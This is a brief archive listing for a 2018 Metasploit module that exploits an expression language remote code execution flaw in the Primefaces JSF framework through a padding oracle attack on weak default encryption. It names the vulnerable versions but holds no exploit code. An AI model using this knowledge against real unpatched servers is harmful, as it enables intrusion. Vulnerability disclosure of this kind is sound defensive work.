Primefaces 5.x Remote Code Execution

Primefaces 5.x Remote Code Execution
Posted Jan 18, 2018
Authored by Bjoern Schuette | Site metasploit.com

This Metasploit module exploits an expression language remote code execution flaw in the Primefaces JSF framework. Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.
